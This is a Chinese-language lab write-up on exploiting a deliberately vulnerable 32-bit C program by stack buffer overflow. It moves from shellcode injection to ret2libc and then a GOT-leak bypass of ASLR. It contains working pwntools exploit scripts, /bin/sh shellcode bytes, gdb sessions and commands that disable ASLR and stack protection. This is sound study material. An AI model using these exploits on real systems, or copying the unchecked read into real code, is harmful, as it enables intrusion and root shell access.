关闭dep aslr和栈保护
#!c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void vulnerable_function() {
char buf[128];
read(STDIN_FILENO, buf, 256);
}
int main(int argc, char** argv) {
vulnerable_function();
write(STDOUT_FILENO, "Hello, World\n", 13);
}
b main
r
(gdb) disassemble main
Dump of assembler code for function main:
0x0804842d <+0>: push %ebp
0x0804842e <+1>: mov %esp,%ebp
=> 0x08048430 <+3>: and $0xfffffff0,%esp
0x08048433 <+6>: sub $0x10,%esp
0x08048436 <+9>: call 0x8048404 <vulnerable_function>
0x0804843b <+14>: movl $0xd,0x8(%esp)
0x08048443 <+22>: movl $0x8048530,0x4(%esp)
0x0804844b <+30>: movl $0x1,(%esp)
0x08048452 <+37>: call 0x8048340 <write@plt>
0x08048457 <+42>: leave
0x08048458 <+43>: ret
End of assembler dump.
(gdb)
(gdb) x/10s $esp
0xbffff280: "\001"
0xbffff282: ""
0xbffff283: ""
0xbffff284: ""
0xbffff285: <incomplete sequence \372\267>
0xbffff289: ""
0xbffff28a: ""
0xbffff28b: ""
0xbffff28c: "\206r\340\267\001"
0xbffff292: ""
(gdb) Quit
(gdb)
(gdb) disassemble
Dump of assembler code for function vulnerable_function:
=> 0x08048404 <+0>: push %ebp
0x08048405 <+1>: mov %esp,%ebp
0x08048407 <+3>: sub $0x98,%esp
0x0804840d <+9>: movl $0x100,0x8(%esp)
0x08048415 <+17>: lea -0x88(%ebp),%eax
0x0804841b <+23>: mov %eax,0x4(%esp)
0x0804841f <+27>: movl $0x0,(%esp)
0x08048426 <+34>: call 0x8048310 <read@plt>
0x0804842b <+39>: leave
0x0804842c <+40>: ret
End of assembler dump.
查看所有寄存器的值
i r(info reg)
(gdb) x/10s $ebp
0xbffff268: "\210\362\377\277;\204\004\b\334#\372\267\374\201\004\bi\204\004\b"
0xbffff27d: ""
0xbffff27e: ""
0xbffff27f: ""
0xbffff280: "\001"
0xbffff282: ""
0xbffff283: ""
0xbffff284: ""
0xbffff285: <incomplete sequence \372\267>
0xbffff289: ""
(gdb) x/10x $ebp
0xbffff268: 0x88 0xf2 0xff 0xbf 0x3b 0x84 0x04 0x08
0xbffff270: 0xdc 0x23
(gdb)
经过分析,ebp指向的是前栈帧的地址,ebp+4指向的是ret(返回地址)
root@kali:~/Desktop/ROP_STEP_BY_STEP-master/linux_x86# python pattern.py create 150
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9
gdb) ni
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9
0x0804842b in vulnerable_function ()
(gdb) x/10x $ebp
0xbffff268: 0x65 0x35 0x41 0x65 0x36 0x41 0x65 0x37
0xbffff270: 0x41 0x65
(gdb) x/10s $ebp
0xbffff268: "e5Ae6Ae7Ae8Ae9\n\bi\204\004\b"
0xbffff27d: ""
0xbffff27e: ""
0xbffff27f: ""
0xbffff280: "\001"
0xbffff282: ""
0xbffff283: ""
0xbffff284: ""
0xbffff285: <incomplete sequence \372\267>
0xbffff289: ""
(gdb)
这里目测ret地址被6Ae7覆盖了
验证下:
Program received signal SIGSEGV, Segmentation fault.
0x37654136 in ?? ()
(gdb)
出错误地址如上,肯定是ret出的错
root@kali:~/Desktop/ROP_STEP_BY_STEP-master/linux_x86# python pattern.py offset 0x37654136
hex pattern decoded as: 6Ae7
140
验证结果和我们在内存中看到的是一样的6Ae7覆盖了ret,并且字符串长度为140.
通过转储获得内存中真正的地址
#0 0x41414141 in ?? ()
(gdb) x/10s $esp-144
0xbffff250: "ABCD", 'A' <repeats 153 times>, "\n"
0xbffff2ef: ""
0xbffff2f0: "\001"
0xbffff2f2: ""
0xbffff2f3: ""
0xbffff2f4: ""
0xbffff2f5: <incomplete sequence \372\267>
0xbffff2f9: ""
0xbffff2fa: ""
0xbffff2fb: ""
(gdb) Quit
(gdb)
我们就跳到ABCD地址上就行
#!python
#!/usr/bin/env python
from pwn import *
p = process('./level1')
ret = 0xbffff250
shellcode = "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73"
shellcode += "\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0"
shellcode += "\x0b\xcd\x80"
# p32(ret) == struct.pack("<I",ret)
#对ret进行编码,将地址转换成内存中的二进制存储形式
payload = shellcode + 'A' * (140 - len(shellcode)) + p32(ret)
p.send(payload) #发送payload
p.interactive() #开启交互shell
root@kali:~/Desktop/ROP_STEP_BY_STEP-master/linux_x86# echo 0 > /proc/sys/kernel/randomize_va_space
root@kali:~/Desktop/ROP_STEP_BY_STEP-master/linux_x86# python exp1.py
[!] Pwntools does not support 32-bit Python. Use a 64-bit release.
[+] Starting local process './level1': pid 2412
[*] Switching to interactive mode
[*] Got EOF while reading in interactive
$ whoami
[*] Process './level1' stopped with exit code -11 (SIGSEGV) (pid 2412)
[*] Got EOF while sending in interactive
搞了几次都会莫名的退出
(gdb) x/10s $esp
0xbffff680: "\334#\372\267\374\201\004\bi\204\004\b"
0xbffff68d: ""
0xbffff68e: ""
0xbffff68f: ""
0xbffff690: "\001"
0xbffff692: ""
0xbffff693: ""
0xbffff694: ""
0xbffff695: <incomplete sequence \372\267>
0xbffff699: ""
(gdb)
查看堆栈,发现栈地址变化了,我们在程序中的硬编码似乎没有啥意义。
明明关闭了ASRL,没办法。先放着把。
最后发现,是程序编译的时候没有关闭栈保护。
gcc -fno-stack-protector -z execstack -o level1 level1.c
root@kali:~/Desktop/ROP_STEP_BY_STEP-master/linux_x86# python exp1.py
[!] Pwntools does not support 32-bit Python. Use a 64-bit release.
[+] Starting local process './mylevel': pid 2479
[*] Switching to interactive mode
$ whoami
root
$
成功
关闭aslr和栈保护,开启dep
由于栈数据被保护,跳转过去没用。所以上面的方法就不能利用成功
这里是利用跳转到系统函数地址来执行shellcode
root@kali:~/Desktop/ROP_STEP_BY_STEP-master/linux_x86# gcc -fno-stack-protector -o level2 level1.c
root@kali:~/Desktop/ROP_STEP_BY_STEP-master/linux_x86# gdb ./level2
(gdb) b main
Breakpoint 1 at 0x591
(gdb) r
Starting program: /root/Desktop/ROP_STEP_BY_STEP-master/linux_x86/level2
Breakpoint 1, 0x00400591 in main ()
(gdb) print system
$1 = {<text variable, no debug info>} 0xb7e29b40 <__libc_system>
(gdb) print __lib_start_main
No symbol "__lib_start_main" in current context.
(gdb) print __libc_start_main
$2 = {int (int (*)(int, char **, char **), int, char **, int (*)(int, char **,
char **), void (*)(void), void (*)(void),
void *)} 0xb7e07190 <__libc_start_main>
(gdb) find 0xb7e07190,+2200000,"/bin/sh"
0xb7f4bdc8
warning: Unable to access 16000 bytes of target memory at 0xb7fa5b50, halting search.
1 pattern found.
(gdb) x/s 0xb7f4bdc8
0xb7f4bdc8: "/bin/sh"
首先在main函数上下一个断点,然后执行程序,这样的话程序会加载libc.so到内存中,然后我们就可以通过”print system”这个命令来获取system函数在内存中的位置,随后我们可以通过” print __libc_start_main”这个命令来获取libc.so在内存中的起始位置,接下来我们可以通过find命令来查找”/bin/sh”这个字符串。这样我们就得到了system的地址0xb7e29b40以及”/bin/sh”的地址0xb7f4bdc8。下面我们开始写exp:
#!python
#!/usr/bin/env python
from pwn import *
p = process('./level2')
#p = remote('127.0.0.1',10002)
ret = 0xdeadbeef
systemaddr=0xb7e29b40
binshaddr=0xb7f4bdc8
payload = 'A'*140 + p32(systemaddr) + p32(ret) + p32(binshaddr)
p.send(payload)
p.interactive()
要注意的是system()后面跟的是执行完system函数后要返回地址,接下来才是”/bin/sh”字符串的地址。因为我们执行完后也不打算干别的什么事,所以我们就随便写了一个0xdeadbeef作为返回地址。下面我们测试一下exp:
root@kali:~/Desktop/ROP_STEP_BY_STEP-master/linux_x86# python exp2.py
[!] Pwntools does not support 32-bit Python. Use a 64-bit release.
[+] Starting local process './level2': pid 2870
[*] Switching to interactive mode
$ whoami
root
成功
开启dep和aslr,关闭栈保护
再次执行level2程序已经不能正常执行。
如果你通过sudo cat /proc/[pid]/maps或者ldd查看,你会发现level2的libc.so地址每次都是变化的。
那么如何解决地址随机化的问题呢?思路是:我们需要先泄漏出libc.so某些函数在内存中的地址,然后再利用泄漏出的函数地址根据偏移量计算出system()函数和/bin/sh字符串在内存中的地址,然后再执行我们的ret2libc的shellcode。既然栈,libc,heap的地址都是随机的。我们必须泄露出libc.so的地址。
$ objdump -d -j .plt level2
Disassembly of section .plt:
08048310 <read@plt>:
8048310: ff 25 00 a0 04 08 jmp *0x804a000
8048316: 68 00 00 00 00 push $0x0
804831b: e9 e0 ff ff ff jmp 8048300 <_init+0x30>
08048320 <__gmon_start__@plt>:
8048320: ff 25 04 a0 04 08 jmp *0x804a004
8048326: 68 08 00 00 00 push $0x8
804832b: e9 d0 ff ff ff jmp 8048300 <_init+0x30>
08048330 <__libc_start_main@plt>:
8048330: ff 25 08 a0 04 08 jmp *0x804a008
8048336: 68 10 00 00 00 push $0x10
804833b: e9 c0 ff ff ff jmp 8048300 <_init+0x30>
08048340 <write@plt>:
8048340: ff 25 0c a0 04 08 jmp *0x804a00c
8048346: 68 18 00 00 00 push $0x18
804834b: e9 b0 ff ff ff jmp 8048300 <_init+0x30>
$ objdump -R level2
//got表
DYNAMIC RELOCATION RECORDS
OFFSET TYPE VALUE
08049ff0 R_386_GLOB_DAT __gmon_start__
0804a000 R_386_JUMP_SLOT read
0804a004 R_386_JUMP_SLOT __gmon_start__
0804a008 R_386_JUMP_SLOT __libc_start_main
0804a00c R_386_JUMP_SLOT write
除了程序本身的实现的函数之外,我们还可以使用read@plt()和write@plt()函数。但因为程序本身并没有调用system()函数,所以我们并不能直接调用system()来获取shell。但其实我们有write@plt()函数就够了,因为我们可以通过write@plt ()函数把write()函数在内存中的地址也就是write.got给打印出来。既然write()函数实现是在libc.so当中,那我们调用的write@plt()函数为什么也能实现write()功能呢? 这是因为linux采用了延时绑定技术,当我们调用write@plit()的时候,系统会将真正的write()函数地址link到got表的write.got中,然后write@plit()会根据write.got 跳转到真正的write()函数上去。
使用ldd命令可以查看目标程序调用的so库。并拷贝libc出来
root@kali:~/Desktop/ROP_STEP_BY_STEP-master/linux_x86# ldd level2
linux-gate.so.1 (0xb7ee5000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7cf9000)
/lib/ld-linux.so.2 (0xb7ee7000)
root@kali:~/Desktop/ROP_STEP_BY_STEP-master/linux_x86# cp /lib/i386-linux-gnu/libc.so.6 libc.so
exp如下:
#!python
#!/usr/bin/env python
from pwn import *
libc = ELF('libc.so')
elf = ELF('level2')
#p = process('./level2')
p = remote('127.0.0.1', 10003)
plt_write = elf.symbols['write'] //调用打印函数
print 'plt_write= ' + hex(plt_write)
got_write = elf.got['write'] //打印函数地址
print 'got_write= ' + hex(got_write)
vulfun_addr = 0x08048404 //这个是目测是自定义函数的偏移
print 'vulfun= ' + hex(vulfun_addr)
payload1 = 'a'*140 + p32(plt_write) + p32(vulfun_addr) + p32(1) +p32(got_write) + p32(4)
print "\n###sending payload1 ...###"
p.send(payload1)
print "\n###receving write() addr...###"
write_addr = u32(p.recv(4)) //接受返回的函数地址信息
print 'write_addr=' + hex(write_addr)
print "\n###calculating system() addr and \"/bin/sh\" addr...###"
system_addr = write_addr - (libc.symbols['write'] - libc.symbols['system'])
print 'system_addr= ' + hex(system_addr)
binsh_addr = write_addr - (libc.symbols['write'] - next(libc.search('/bin/sh')))
print 'binsh_addr= ' + hex(binsh_addr)
payload2 = 'a'*140 + p32(system_addr) + p32(vulfun_addr) + p32(binsh_addr)
print "\n###sending payload2 ...###"
p.send(payload2)
p.interactive()
payload1 = ‘a’*140 + p32(plt_write) + p32(vulfun_addr) + p32(1) +p32(got_write) + p32(4)
这一句比较神奇,上面上plt_write执行完需要返回,而我们plt_write的参数要放在vulfun_addr的后面。大致这么个意思。而p32我猜测应该是小端序列化这段数据。
大致把0xbffff240变成了类似“\x40\xf2\xff\xbf”
最后程序因为pwntools是64位崩溃了,无语。
小结
这里有段关键代码详细解释下:
总结
最后发现,linux所谓的aslr随机化的是lib、stack、heap,但program image 是不进行随机化的。应该是编译的时候确定的,不过有点疑问,万一两个程序都被放在一块地址块上怎么办。